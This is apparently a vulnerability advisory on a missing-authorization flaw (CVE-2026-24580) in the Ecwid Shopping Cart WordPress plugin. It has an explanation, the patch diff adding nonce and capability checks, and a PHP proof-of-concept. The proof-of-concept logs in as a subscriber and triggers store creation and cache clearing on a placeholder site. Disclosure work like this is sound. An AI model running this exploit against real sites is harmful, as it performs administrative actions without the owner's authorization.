Atomic Edge analysis of CVE-2026-24580:
The Ecwid Shopping Cart WordPress plugin contains a missing authorization vulnerability in versions up to and including 7.0.5. This flaw allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized administrative actions, specifically store creation and cache clearing, due to insufficient capability checks.
Atomic Edge research identifies the root cause as the absence of capability verification in two critical AJAX functions. In the main plugin file `ecwid-shopping-cart.php`, the function `ecwid_ajax_create_store()` at line 2111 lacked both nonce verification and user capability checks. The `ecwid_clear_all_cache()` function at line 1829 also lacked nonce verification, allowing unauthorized cache clearing actions. These omissions violate WordPress security best practices for privileged operations.
Exploitation requires an authenticated attacker with any valid WordPress user account. For store creation, attackers send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `ecwid_ajax_create_store`. For cache clearing, attackers access the admin parameters page with the `ec-clear-all-cache` GET parameter. Both actions execute without verifying the user’s `manage_options` capability or validating nonce tokens, allowing subscribers to perform administrative functions.
The patch in version 7.0.6 implements multiple security improvements. The `ecwid_ajax_create_store()` function now includes `check_ajax_referer()` for nonce verification and `current_user_can(‘manage_options’)` for capability checking. The `ecwid_clear_all_cache()` function adds `wp_verify_nonce()` validation. The admin interface template `admin-params.php` generates proper nonced URLs for cache clearing. These changes ensure only administrators with valid nonces can execute privileged operations.
Successful exploitation allows attackers with minimal privileges to create new Ecwid stores and clear plugin caches. While store creation may disrupt business operations, cache clearing could degrade site performance. The vulnerability represents a privilege escalation vector where low-privileged users gain administrative control over plugin functionality, potentially leading to service disruption or unauthorized configuration changes.
--- a/ecwid-shopping-cart/ecwid-shopping-cart.php
+++ b/ecwid-shopping-cart/ecwid-shopping-cart.php
@@ -5,7 +5,7 @@
Description: Ecwid by Lightspeed is a full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.
Text Domain: ecwid-shopping-cart
Author: Ecwid Ecommerce
-Version: 7.0.5
+Version: 7.0.6
Author URI: https://go.lightspeedhq.com/ecwid-site
License: GPLv2 or later
*/
@@ -1829,7 +1829,14 @@
function ecwid_clear_all_cache()
{
- if ( array_key_exists( ecwid_get_clear_all_cache_action(), $_GET ) ) {
+ $key = ecwid_get_clear_all_cache_action();
+
+ if ( array_key_exists( $key, $_GET ) ) {
+
+ if ( isset( $_GET['_wpnonce'] ) && ! wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $key ) ) {
+ return;
+ }
+
ecwid_full_cache_reset();
if ( array_key_exists( 'redirect_back', $_GET ) ) {
@@ -1896,7 +1903,8 @@
wp_enqueue_script('ecwid-welcome-page-js', ECWID_PLUGIN_URL . 'js/welcome-page.js', array(), get_option('ecwid_plugin_version'));
wp_localize_script('ecwid-welcome-page-js', 'ecwidParams', array(
'registerLink' => ecwid_get_register_link(),
- 'isWL' => Ecwid_Config::is_wl()
+ 'isWL' => Ecwid_Config::is_wl(),
+ '_ajax_nonce' => wp_create_nonce( 'ec-create-store' ),
)
);
@@ -2111,6 +2119,14 @@
}
function ecwid_ajax_create_store() {
+ if ( ! check_ajax_referer( 'ec-create-store' ) ) {
+ die();
+ }
+
+ if ( ! current_user_can( 'manage_options' ) ) {
+ die();
+ }
+
$result = ecwid_create_store();
$is_store_created = is_array( $result ) && $result['response']['code'] == 200;
--- a/ecwid-shopping-cart/includes/shortcodes/class-ecwid-shortcode-product.php
+++ b/ecwid-shopping-cart/includes/shortcodes/class-ecwid-shortcode-product.php
@@ -66,6 +66,12 @@
$product = Ecwid_Product::get_without_loading( $this->_params['id'], (object) array( 'name' => '' ) );
+ if ( ! empty ( $product->price ) ) {
+ $price = $product->price;
+ } else {
+ $price = 0;
+ }
+
if ( is_array( $items ) && count( $items ) > 0 ) {
foreach ( $items as $item ) {
if ( array_key_exists( $item, $display_items ) ) {
@@ -73,8 +79,8 @@
$display_items[ $item ] = str_replace( '$name', $product->name, $display_items[ $item ] );
}
- if ( $item == 'price' && ! empty( $product->price ) ) {
- $display_items[ $item ] = str_replace( '$price', $product->price, $display_items[ $item ] );
+ if ( $item == 'price' ) {
+ $display_items[ $item ] = str_replace( '$price', $price, $display_items[ $item ] );
}
if ( $this->_params['link'] == 'yes' && in_array( $item, array( 'title', 'picture' ) ) ) {
--- a/ecwid-shopping-cart/templates/admin-params.php
+++ b/ecwid-shopping-cart/templates/admin-params.php
@@ -67,4 +67,12 @@
<br />
<h2>Clear plugin cache</h2>
-<a href="?<?php echo esc_attr( ecwid_get_clear_all_cache_action() ); ?>&redirect_back">Clear all caches</a>
+<?php
+$ec_store_clear_cache_url = add_query_arg( array(
+ 'page' => 'ec-params',
+ ecwid_get_clear_all_cache_action() => 1,
+ '_wpnonce' => wp_create_nonce( ecwid_get_clear_all_cache_action() ),
+ 'redirect_back' => 1,
+) );
+?>
+<a href="<?php echo esc_attr( $ec_store_clear_cache_url ); ?>">Clear all caches</a>
No newline at end of file
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24580 - Ecwid Shopping Cart <= 7.0.5 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24580
* Demonstrates unauthorized store creation and cache clearing
* Requires valid WordPress subscriber credentials
*/
$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for WordPress login
$ch = wp_login($target_url, $username, $password);
if (!$ch) {
die('Failed to authenticate with WordPress');
}
// Exploit 1: Unauthorized store creation via admin-ajax.php
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'ecwid_ajax_create_store'
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
echo "Store creation attempt response: " . $response . "nn";
// Exploit 2: Unauthorized cache clearing via admin parameters page
$cache_url = $target_url . '/wp-admin/admin.php?page=ec-params&ec-clear-all-cache=1&redirect_back=1';
curl_setopt($ch, CURLOPT_URL, $cache_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
echo "Cache clearing attempt completedn";
curl_close($ch);
/**
* WordPress login helper function
*/
function wp_login($base_url, $username, $password) {
$login_url = $base_url . '/wp-login.php';
$ch = curl_init();
// Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
// Extract nonce from login form (simplified)
preg_match('/name="log"[^>]*>/', $response, $matches);
// Submit login credentials
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $base_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Verify successful login by checking for admin bar
if (strpos($response, 'wp-admin-bar') !== false) {
return $ch;
}
curl_close($ch);
return false;
}
?>